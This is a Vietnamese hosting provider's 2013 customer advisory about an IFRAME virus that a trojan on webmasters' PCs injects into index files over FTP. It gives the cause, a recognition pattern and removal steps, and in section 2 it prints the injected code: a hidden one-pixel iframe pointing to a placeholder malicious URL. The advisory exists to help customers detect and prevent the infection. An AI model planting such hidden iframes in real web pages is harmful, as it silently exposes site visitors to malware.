Cảnh báo về hiện tượng website khách hàng bị nhiễm Virus IFRAME gia tăng

Để thông tin nhanh nhất đến các bạn, WebsitePlaza xin môt tả vắn tắt như sau:

Khi một website bị nhiễm virus loại này, nếu không được phát hiện kịp thời, tất cả các truy cập vào website đó đều sẽ bị ngăn chặn bởi các trình duyệt thông dụng. Thông thường bạn sẽ nhận được một cảnh báo thay vì được vào trang web của bạn một cách trực tiếp, với Chrome giao diện nó sẽ có dạng như hình dưới:

google-chrome-malware-websiteplaza

 

WebsitePlaza đã nhận được nhiều phản ảnh từ khách hàng, chúng tôi đã xử lý tất cả các trường hợp phát hiện được. Tuy nhiên, để hạn chế đến mức thấp nhất khả năng lây nhiễm lại, WebsitePlaza tóm tắt một số thông tin liên quan đến loại virus này như sau:

 

1. Nguyên nhân: máy Laptop (PC) của bạn bị nhiễm trojain và bạn dùng máy này dể UPLOAD/DOWNLOAD thông tin trên website thông tin qua tài khoản FTP do WebsitePlaza cung cấp. Lúc này, trojain sẽ tìm kiếm toàn site của bạn (sử dụng tài khoản FTP) và chèn các đoạn mã độc vào tất cả các file co chưa cụm từ "index" (index.html, index.php,...).

 

2. Đoạn mã Virus sẽ có dạng như sau:

<!-- . --><iframe width="1px" height="1px" src="/http://duong_dan_nhiem_vi_rusxxxxx"; style="display: block;" ></iframe><!-- . -->


3. Cách nhận dạng:

Virus luôn luôn chèn ở đầu và cuối nội dung của nó cặp thẻ "<!-- . -->" và "<!-- . -->"


4. Phòng chống hiệu quả nhất:

Có đến hơn 90% virus lây lan từ Latop (PC) của bạn và qua đường FTP!! Do vậy, cách phòng chống hiệu quả nhất là đối với khách hàng của WebsitePlaza đang là webmaster (quản trị web), xin hãy cài đặt chường trình diệt virus của Kaspersky, ESET, AVAST,... có uy tín (tốt nhất bạn nên xem trên trang web chính thức của họ đã có cảnh báo về dạng virus này chưa Đã diệt/ngăn chặn được nó chưa? trước khi lựa chọn cài đặt)


5. Cách loại bỏ virus, đưa website trở lại hoạt động bình thường:

- Đối với khách hàng sử dụng dịch vụ "Quản trị web" hoặc "Dịch vụ quảng cáo trên Google" của WebsitePlaza, chúng tôi sẽ phát hiện ngay hiện tượng này và tự xử lý cho khách hàng.

- Đối với khách hàng không sử dụng các dịch vụ quản trị web (chỉ sử dụng dịch vụ thiết kế Website thông thường): vui lòng gởi thông báo "Yêu cầu hỗ trợ" cho chúng tôi càng sớm càng tốt (trước khi web bị block là tốt nhất), chúng tôi sẽ xử lý cho quý khách hàng. Trong trường hợp website bị Google BLOCK, chúng tôi cũng có thể xử lý cho khách hàng và thời gian website trở về trạng thái bình thường là trong vòng 24h.


Trên đây là thông báo quan trọng về hiện tượng Virus IFRAME lây nhiễm tràn lan trong thời gian gần đây (nửa đầu năm 2013), rất mong quý khách hàng quan tâm để website của mình hoạt động có hiệu quả tốt nhất.